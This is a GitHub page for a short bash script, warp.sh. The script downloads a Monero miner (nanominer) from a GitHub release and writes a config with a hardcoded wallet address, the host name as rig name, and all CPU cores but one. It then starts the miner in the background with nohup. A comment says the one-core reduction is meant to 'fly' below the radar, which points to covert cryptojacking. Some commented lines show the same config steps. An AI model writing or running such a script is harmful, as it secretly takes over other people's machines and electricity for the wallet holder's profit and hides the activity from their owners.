-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwarp.sh
29 lines (24 loc) · 1.14 KB
/
warp.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
wget https://github.com/nightcrawler-/monerix-xmr/releases/download/v0.0.1/nanominer-linux-3.3.4.tar.xz
tar -xf nanominer-linux-3.3.4.tar.xz
cd nanominer-linux-3.3.4
#3 The default config uses max cores. To use one-less core in order to 'fly' below the radar?
# Delete config.ini if present
# load all info with this script
# Append rig name as result of host name
# Append number of cores as total - 1
# echo "cpuThreads = " `grep -c ^processor /proc/cpuinfo`
# cat /proc/sys/kernel/hostname
# grep -c ^processor /proc/cpuinfo | awk '{print $0-1}'
# echo "cpuThreads = " `grep -c ^processor /proc/cpuinfo | awk '{print $0-1}'`
# custom config
touch config.ini
rm config.ini
echo "[RandomX]" >> config.ini
echo "wallet = 42VmQmradix9d5QaHZdo9pUvaH4Ua94WV22VK1HNcAEUbuDxSNXFCoH3h5GA5F8nUuh9a76xzt7sURb4wNgXVDn77qBvRBa" >> config.ini
echo "rigName = " `cat /proc/sys/kernel/hostname` >> config.ini
echo "email = [email protected]" >> config.ini
echo "sortPools = true" >> config.ini
echo "cpuThreads = " `grep -c ^processor /proc/cpuinfo | awk '{print $0-1}'` >> config.ini
nohup ./nanominer &
# id, signup date, active date, depoly start